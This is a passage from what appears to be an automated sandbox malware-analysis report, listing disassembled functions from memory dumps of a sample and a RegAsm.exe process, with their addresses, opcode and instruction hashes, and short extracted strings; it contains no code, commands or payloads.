Instruction Fuzzy Hash: 83213870D05208DFDB01EFA9D2487ADBBF5FB49305F1085A9D00AAB2C1EBB44A88DB01

Function 0150A9D5 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f70ab90e45d01f425e0280bf9e8c84362dd8f97142c492a7f8e152fec66b1da
Instruction ID: d34e3becc812ba67253710fcf2daf9d240131734807a029f8271030de0158257
Opcode Fuzzy Hash: 2f70ab90e45d01f425e0280bf9e8c84362dd8f97142c492a7f8e152fec66b1da
Instruction Fuzzy Hash: F711C2317087449FD71ADB68D914B657BB2BF8A304F1944EAE4098FAE2C6B19882C751

Function 01501A30 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53cb74c0e593b21937a9a422bba8d846e2f92a08b2fa1e8b14a52702e9cce8e8
Instruction ID: f8b7a6ed8b841ec4eb50b3a60d5331d9e968ef2d1e513d47dd431ac29c934b80
Opcode Fuzzy Hash: 53cb74c0e593b21937a9a422bba8d846e2f92a08b2fa1e8b14a52702e9cce8e8
Instruction Fuzzy Hash: 8E11E6357406448FC7179768D45077E37E2FBC1350F18846BD40A8F3A9DAB4CC868B82

Function 0126D02B Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3945940677.000000000126D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0126D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_126d000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8904e6e2034f6e8b723f427b0fac37b038faba2da46a35eb3e2bfe2bad4ef527
Instruction ID: c5a29e79361aa137e82884c57e32c409a1ae25a5a90513662af5b80853d082bc
Opcode Fuzzy Hash: 8904e6e2034f6e8b723f427b0fac37b038faba2da46a35eb3e2bfe2bad4ef527
Instruction Fuzzy Hash: 1D11E276504288CFDB12CF54D9C4B16BF71FB84314F24C2AADD490B696C33AD45ACBA2

Function 01501A40 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a81197bc9bfbbd6245e1d9eafe3f00387ab142489b6bf9673130997189e88f98
Instruction ID: f02081b274b746af01d7d822183887d67489d9adb163c96daa29f8f34847b6aa
Opcode Fuzzy Hash: a81197bc9bfbbd6245e1d9eafe3f00387ab142489b6bf9673130997189e88f98
Instruction Fuzzy Hash: FC118B357409058FD717ABA9D49073A32D6FBC0754F18847AD81A8F3A8DAB4DC868BD2

Function 0125D76D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3945804780.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_125d000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30e5d9cc64fac041c57608da47555f033012c1fb2693dd5a67fdaaecc3c82b95
Instruction ID: aa43992c442527f5565d73222f18e83bf146c831af7d5c638c3ed2a1b179fcef
Opcode Fuzzy Hash: 30e5d9cc64fac041c57608da47555f033012c1fb2693dd5a67fdaaecc3c82b95
Instruction Fuzzy Hash: 3A0149310183889AF7548B69CDC4B67FFD8EF41324F08C42AEE094A287C378D840CA72

Function 075E83F9 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4122947225.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_75e0000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f04cb230295d490303b55eb6d2b16e29027804b069883cbc2e92202c6ab0f2a
Instruction ID: a20f032e21a9ba0d71876acb045c520eb126c76f18cab682c3d4298f41930c7c
Opcode Fuzzy Hash: 0f04cb230295d490303b55eb6d2b16e29027804b069883cbc2e92202c6ab0f2a
Instruction Fuzzy Hash: A4111CB8A112188FDB94EF14D9A4AAA77B6FB88300F1040D5D649E7384CB319EC2CF50

Function 0150AA18 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c87cf27e423f6de8e2faf6877787d55ddde77fd1fa810991c79ad6dc3ec5d6f
Instruction ID: 3bb18789c3d7eb142c067d8be483f0e27ec4917929b1c6a8e3342beb75762407
Opcode Fuzzy Hash: 2c87cf27e423f6de8e2faf6877787d55ddde77fd1fa810991c79ad6dc3ec5d6f
Instruction Fuzzy Hash: E9F02B317043449FD72A8754DE11B6137B3BB45300F1940F6F5058FAE6C6B098828791

Function 0125D76C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3945804780.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_125d000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcfc2ca2e7d23734a8c12cc3547a7b9f0bc7dcd1404d4c2b0de6641f75991d49
Instruction ID: 9217135c926dfcd66142b64c5d77af605ea537adfd0de4c788db095eec69c282
Opcode Fuzzy Hash: fcfc2ca2e7d23734a8c12cc3547a7b9f0bc7dcd1404d4c2b0de6641f75991d49
Instruction Fuzzy Hash: 53F062714093889EE7158A1AD8C4B67FFA8EB41724F18C45AEE484A296C279A844CA71

Function 075E7452 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4122947225.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_75e0000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43dc13662b6ba70487149eb0a76dba21fa9c6d3e8282a670ba70c32544be75dd
Instruction ID: 7f81fc24943fc40fd051f7b3ab99ebd10d5ec9811fc9c9cb41fbf7cdc9c0322a
Opcode Fuzzy Hash: 43dc13662b6ba70487149eb0a76dba21fa9c6d3e8282a670ba70c32544be75dd
Instruction Fuzzy Hash: 6B11A878A111198FEB58EF28C994AAAB7F1FB48300F1081E5D90DA7384DE309E81CF80

Function 01500900 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1432596969ae80eee44f8deb121034d72ebb24b2f0ad8f9c4172318b3e18a3b7
Instruction ID: d4afc5495d03ae7a30fd83bfe85898544f0d9d2f223f578a9373625eb337b6bd
Opcode Fuzzy Hash: 1432596969ae80eee44f8deb121034d72ebb24b2f0ad8f9c4172318b3e18a3b7
Instruction Fuzzy Hash: EBF04F249097C4DFD3175F6894146A97FB5BF47250F0D44E3E485CB6E3D2288945CB92

Function 075FFF68 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4122947225.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_75e0000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ab81eff2422f1fd77c3a8a30d659772050f458c8e9ea7d58b86ef7777a16330
Instruction ID: 45896f9781fd133576f00da0a25edc3cbe71c8a199b4e44c69af84fc17772f95
Opcode Fuzzy Hash: 3ab81eff2422f1fd77c3a8a30d659772050f458c8e9ea7d58b86ef7777a16330
Instruction Fuzzy Hash: 85F0EC7190420ADBCF01DF99D8009EEBB75FF89324F00C519EA5867251D731A5A6DB90

Function 0150AA28 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 335fc34199c2ca170b8b6d2ecc1d15be96b68f4787b0bf41a6903f67fe92fb24
Instruction ID: 5a80b0419a7b6f222cde9a14791429255d0ef2d69a2d38e4c73f9ce2d865119a
Opcode Fuzzy Hash: 335fc34199c2ca170b8b6d2ecc1d15be96b68f4787b0bf41a6903f67fe92fb24
Instruction Fuzzy Hash: E6F0A0303403089FE729CA59DE01B2673E3BB88704F1880B5E2098F6E4CAF0A8828684

Function 01500860 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a03f2c43d78c03df0dadf584991be9a879be6864a8e0da4d7b890bb7b73316e4
Instruction ID: 233d2cba86a798cb1aee1122804984aaee56ee9cb5ae429c8947727dd1f30375
Opcode Fuzzy Hash: a03f2c43d78c03df0dadf584991be9a879be6864a8e0da4d7b890bb7b73316e4
Instruction Fuzzy Hash: 4FF05E30A0E3C5AFC743DBB4AA644AA7FB4EF53210B1940EBC484DB2A3E5345E09D712

Function 015008C0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c949e106ca4b9a8bf18c3492b1aa310537803b59a545a944d8ce831793490667
Instruction ID: 10778c33e4d3f9ffca7b8541b04307918e03ace4f168cedcae500f296c72d28c
Opcode Fuzzy Hash: c949e106ca4b9a8bf18c3492b1aa310537803b59a545a944d8ce831793490667
Instruction Fuzzy Hash: 4EE0E2A298E3C1AFD7030FF469291E43FB09C6702031D05E7D884CB1A3E09C462ACB56

Function 0150FD68 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dc4e28e504d2bc7af672597aac70281b06564362c6b64f26b5290a578d5c76a
Instruction ID: 782f2929666d3b89819eacbc9b3b465fd2d15bf6a1f59d49ba196695e6e4df09
Opcode Fuzzy Hash: 4dc4e28e504d2bc7af672597aac70281b06564362c6b64f26b5290a578d5c76a
Instruction Fuzzy Hash: 3AF0A575E04208EFCB95DFE8E844A9DBBF5FB48310F10C1AAA81897351D7369A52DF80

Function 075FCDC8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4122947225.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_75e0000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e88e27077e4ecc0925dea49a271f89f17f1204e622d27856b236e457d38bfff3
Instruction ID: 7584f9822f5e55511f5d9eb563dde08f19d5e9217aa776eac58aac9245945e7d
Opcode Fuzzy Hash: e88e27077e4ecc0925dea49a271f89f17f1204e622d27856b236e457d38bfff3
Instruction Fuzzy Hash: 29E0A5B4E04208AFCB84DFA8D444A9DBBB4BB49310F10C1AA9809D3351D6319A51DB90

Function 075FA070 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4122947225.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_75e0000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e88e27077e4ecc0925dea49a271f89f17f1204e622d27856b236e457d38bfff3
Instruction ID: 0582a11c573e5c522802ad03b5471eacc7e2c59b59ca5e7d4e4f7b931a83f816
Opcode Fuzzy Hash: e88e27077e4ecc0925dea49a271f89f17f1204e622d27856b236e457d38bfff3
Instruction Fuzzy Hash: BEE0C9B4E04208EFCB94DFA8E4446ADBBF5FB49310F10C1AA981893351D7319A51DF81

Function 075F58A8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4122947225.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_75e0000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e88e27077e4ecc0925dea49a271f89f17f1204e622d27856b236e457d38bfff3
Instruction ID: 0652f8636ae78f4cfa14f30a02bd5c49e4a6806a2e74dcbfd5c401de244e4d05
Opcode Fuzzy Hash: e88e27077e4ecc0925dea49a271f89f17f1204e622d27856b236e457d38bfff3
Instruction Fuzzy Hash: FBE0C9B4E04208EFCB84EFA8D44469DBBF4FB49310F10C1AA980893351D7359A51DF80

Function 075FFA38 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4122947225.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_75e0000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1894b6046d7b8ad04e1c9bb8e39ba856f09d179e7fbd79aed03beb4230175ff6
Instruction ID: c9159e2a1ca0423e811dc0a60cf48c770dd1a7ddef1dbd9b72fa7304b58a2ce9
Opcode Fuzzy Hash: 1894b6046d7b8ad04e1c9bb8e39ba856f09d179e7fbd79aed03beb4230175ff6
Instruction Fuzzy Hash: 2FE086B4909108EFCB04DF94E8409ADBFB8BB46314F14E1A9E94857381CF319A41DB90

Function 075E029B Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4122947225.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_75e0000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18a014d3ee4c89dac6a732918e0dfc0fe39266e41b22c0713094fd5a913919a1
Instruction ID: de9ba5f8dca6a13969eb32bd51f79165d7bba5ca2ef84a271aac78bcd6873a9d
Opcode Fuzzy Hash: 18a014d3ee4c89dac6a732918e0dfc0fe39266e41b22c0713094fd5a913919a1
Instruction Fuzzy Hash: 6EF0B274E022288FCB68DF28DAA45E9BBF5FB48300F1040E9D949A7391D6309E80CF90

Function 075F8690 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4122947225.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_75e0000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8afec4a8a4cf1ab7e3f33fcce7e23b51b07fe1a0857d2d569e65c4cbd0859c99
Instruction ID: 654016539511d995e61f02fcbfea560aa5f2474a1fc2b453012f837b91850fdc
Opcode Fuzzy Hash: 8afec4a8a4cf1ab7e3f33fcce7e23b51b07fe1a0857d2d569e65c4cbd0859c99
Instruction Fuzzy Hash: 5BE01A74D08108EFCB44DB98D4416ACBBB4EB89204F20C1EAD81853341CA31AA42DB80

Function 0150ED40 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab343396a46f51593b4857873bef1586ab678d18a8d4ff8ab9dbb7e2be205664
Instruction ID: 01f959f72be961a4360ab6d4f933e2b092f7fe728df5c0025726ec8b65b1d547
Opcode Fuzzy Hash: ab343396a46f51593b4857873bef1586ab678d18a8d4ff8ab9dbb7e2be205664
Instruction Fuzzy Hash: 07E0C27280120CDFCB41EFF9E40868EBBB9EB0A204F1044A5E00997160EF324A00E7A2

Function 075FDB88 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4122947225.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_75e0000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 885f458509e448e4af0f4215a27a64779efd4907dac03b9276765105c04f4f5d
Instruction ID: 6157db16280818ab5be8a9182e45efd0a966923976551b758898b0c4485105e6
Opcode Fuzzy Hash: 885f458509e448e4af0f4215a27a64779efd4907dac03b9276765105c04f4f5d
Instruction Fuzzy Hash: B6E012B4A09208EFCB04EF94E5555ADBBB8FB86314F20D19DDC0817351CB325E42DB81

Function 075FCD80 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4122947225.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_75e0000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94b286f3f6b991726dfe649a1052a91a81c4a5dc48581af77f00f4d3c71c1daa
Instruction ID: 29dd0f5e8ccea0c5be02c7809bf77e25654b3181d57b7386479577dc75ba8cd9
Opcode Fuzzy Hash: 94b286f3f6b991726dfe649a1052a91a81c4a5dc48581af77f00f4d3c71c1daa
Instruction Fuzzy Hash: C0E0C2B154120CAFCB41EFF8D80068E7BB9EB46200F1059E6D00597150EE324A00D7A1

Function 01500888 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c92bf74f5748e3ee4dde7578de71b8b8c42aabcc6a6db3bb029c5f3bcd99a025
Instruction ID: 2f7c5c6e795b0c4f307bcebb3f9b3f86adc805b4e4b81a033c8e77273b65c3f9
Opcode Fuzzy Hash: c92bf74f5748e3ee4dde7578de71b8b8c42aabcc6a6db3bb029c5f3bcd99a025
Instruction Fuzzy Hash: C4D01734A1120DFF8B44EFA8EA5056DB7B9FB44200B1081A9D908D7255EA316E049B80

Function 01500953 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5dd98868ba9a6a21e4be33e603a8c59f15f24721293f8dc517eb307c436312e
Instruction ID: 8481bf5b4101365f2419f756195df2b2fac231f99c4b9f4bacf4f2f0214c42b7
Opcode Fuzzy Hash: d5dd98868ba9a6a21e4be33e603a8c59f15f24721293f8dc517eb307c436312e
Instruction Fuzzy Hash: ECD05E36900420CFE7168F59D84835573F0BB04380F4AC471E58AAB5D5DB30F9068B42

Function 0150EBB0 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1e7379cd3a42140f20322320dcc97986e2a1be3e5013daa4aef5e5c7c3c5ae
Instruction ID: 6fe4c32cb076a8bdc179c9a0a7d7c2c5599ef13ccd4e4a02824d4464218a25e9
Opcode Fuzzy Hash: 0e1e7379cd3a42140f20322320dcc97986e2a1be3e5013daa4aef5e5c7c3c5ae
Instruction Fuzzy Hash: C3C08C30009A0A4AC1A177EDB40A32C7A78AB4120EF805111F24C200928F710040C3BA

Function 015008F0 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3946737260.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1500000_3E6C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e71a9025284b09a060425685bafed52871fab33ac466edf99d16664d159f8a42
Instruction ID: fba738acbb8c6af0f461a235faa9e28b86fe1ba91cf95e9d7f3f07a345868c6f
Opcode Fuzzy Hash: e71a9025284b09a060425685bafed52871fab33ac466edf99d16664d159f8a42
Instruction Fuzzy Hash: 9C90023144460D8F46502B95741D555775DA544515B844061E50D41555DA69681046D9

Analysis Process: RegAsm.exePID: 6416, Parent PID: 2580COMMON

Executed Functions

Function 02CB2009 Relevance: 16.4, Strings: 12, Instructions: 1360COMMON

Download Yara Rule

Strings

$^q, xrefs: 02CB2543
$^q, xrefs: 02CB2B66
$^q, xrefs: 02CB218C
$^q, xrefs: 02CB2533
,bq, xrefs: 02CB2E4F
$^q, xrefs: 02CB2C0E
$^q, xrefs: 02CB243B
$^q, xrefs: 02CB219C
$^q, xrefs: 02CB242B
$^q, xrefs: 02CB2B56
$^q, xrefs: 02CB2BFE
4, xrefs: 02CB2CDB

Memory Dump Source

Source File: 0000000D.00000002.4131314938.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2cb0000_RegAsm.jbxd

Similarity

API ID:
String ID: ,bq$4$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-312445597
Opcode ID: 44720095d882c076259fa7a53d7f160c7fdf6ff6c6639ed091e7637172cdeb45
Instruction ID: 3baa7ff0ca299b719d10aa183428b28a37552182ae33d8a038fc8301517abbf1
Opcode Fuzzy Hash: 44720095d882c076259fa7a53d7f160c7fdf6ff6c6639ed091e7637172cdeb45
Instruction Fuzzy Hash: B9D22A34A00218DFDB25DF65D894AEEB7B6FF98300F148595E9069B398CB349D42CF91

Function 02CB2282 Relevance: 8.2, Strings: 6, Instructions: 696COMMON

Download Yara Rule

Strings

$^q, xrefs: 02CB2533
,bq, xrefs: 02CB2E4F
$^q, xrefs: 02CB242B
$^q, xrefs: 02CB2B56
$^q, xrefs: 02CB2BFE
4, xrefs: 02CB2CDB

Memory Dump Source

Source File: 0000000D.00000002.4131314938.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2cb0000_RegAsm.jbxd

Similarity

API ID:
String ID: ,bq$4$$^q$$^q$$^q$$^q
API String ID: 0-2546334966
Opcode ID: 544a6e5e99e46ec6296dad399ab8cff1fee87e5e1ae24043b8ce8fda168a1866
Instruction ID: 58de2939a44a9255279d5af34efc269f3b663b0de48627ed9fe19eeedb9ea2bb
Opcode Fuzzy Hash: 544a6e5e99e46ec6296dad399ab8cff1fee87e5e1ae24043b8ce8fda168a1866
Instruction Fuzzy Hash: 9B622D30A00228DFDB25EF65DC94BEAB7B2FF98300F548595D9099B298CB349D45CF91

Function 01012B78 Relevance: 8.2, Strings: 6, Instructions: 683COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0101315E
TJcq, xrefs: 01012EC2
TJcq, xrefs: 01012C01
pbq, xrefs: 0101319D
Te^q, xrefs: 01012EA1
xbaq, xrefs: 01012BD9

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: 4'^q$TJcq$TJcq$Te^q$pbq$xbaq
API String ID: 0-50452399
Opcode ID: 0a4b7bedd1644be1bdfd54befddd035345433fee096200c7711b1b724cb5b856
Instruction ID: 29d7e8b87eca3f1c91b3822ef8991ef1e7954a728d3ffa7ccd282b26522bd3fa
Opcode Fuzzy Hash: 0a4b7bedd1644be1bdfd54befddd035345433fee096200c7711b1b724cb5b856
Instruction Fuzzy Hash: 66521335A001189FCB59DFA8C984EA9BBF2FF48314F1581A8E5499B276CB35EC91DF40

Function 053225E0 Relevance: 4.3, Strings: 3, Instructions: 559COMMON

Download Yara Rule

Strings

Hbq, xrefs: 05322D98
Hbq, xrefs: 05322DDD
Hbq, xrefs: 05322E40

Memory Dump Source

Source File: 0000000D.00000002.4142494167.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5320000_RegAsm.jbxd

Similarity

API ID:
String ID: Hbq$Hbq$Hbq
API String ID: 0-2297679979
Opcode ID: e1f1b6715805b0d4e1d87e1d4dd816a1d455d4735fcc0242580972e3d9d924c4
Instruction ID: e6780b660727ec6baf8747da6d119100bc3797909fd24fb5c3a344f8ee17581c
Opcode Fuzzy Hash: e1f1b6715805b0d4e1d87e1d4dd816a1d455d4735fcc0242580972e3d9d924c4
Instruction Fuzzy Hash: 37326C74A102248FCB25EF65DC84AAEB7B2FF88300F508569E50697799DB70AD45CF90

Function 02CB6C1E Relevance: 3.3, Strings: 2, Instructions: 820COMMON

Download Yara Rule

Strings

$^q, xrefs: 02CB71A7
$^q, xrefs: 02CB71B7

Memory Dump Source

Source File: 0000000D.00000002.4131314938.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2cb0000_RegAsm.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 7ad98cfdb5bcf82d3c5ba8e7202b7c16c386a4cdc3970ab235d3ed1516979479
Instruction ID: 3577589df6cc9c437502d17ae3731c7bd251d7d1dcbdb0833c879822b0cf1266
Opcode Fuzzy Hash: 7ad98cfdb5bcf82d3c5ba8e7202b7c16c386a4cdc3970ab235d3ed1516979479
Instruction Fuzzy Hash: 0D72B174A001259FCB15EF65D891AAEB7F6FFD8304F148655E902AB3C8CB74AD02CB90

Function 01012808 Relevance: 2.7, Strings: 2, Instructions: 155COMMON

Download Yara Rule

Strings

4'^q, xrefs: 010128BC
4'^q, xrefs: 010128E7

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: ab12e2567f9203ae896d785a261f82e5b9928515165e2a2619bf465c8968c6bc
Instruction ID: 3dfd384e8f0508d51f5e623104f65eb9858f13249e4b4edd9c8e2ea2a35b8d2a
Opcode Fuzzy Hash: ab12e2567f9203ae896d785a261f82e5b9928515165e2a2619bf465c8968c6bc
Instruction Fuzzy Hash: 1B515371A106048FD708EF7BF995A99BFE3BFD8300F14DA29D0049B2A9EF7459059B90

Function 01012818 Relevance: 2.6, Strings: 2, Instructions: 150COMMON

Download Yara Rule

Strings

4'^q, xrefs: 010128BC
4'^q, xrefs: 010128E7

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 4f2b88b5b15e37ba76cbc0a7dafe77251423282cdef14bb9e0a9e8d072fefb4b
Instruction ID: 84dfdbb5067e7cf2f47c137ac8758e2c1c8abc523b3af1642af24b55312f995d
Opcode Fuzzy Hash: 4f2b88b5b15e37ba76cbc0a7dafe77251423282cdef14bb9e0a9e8d072fefb4b
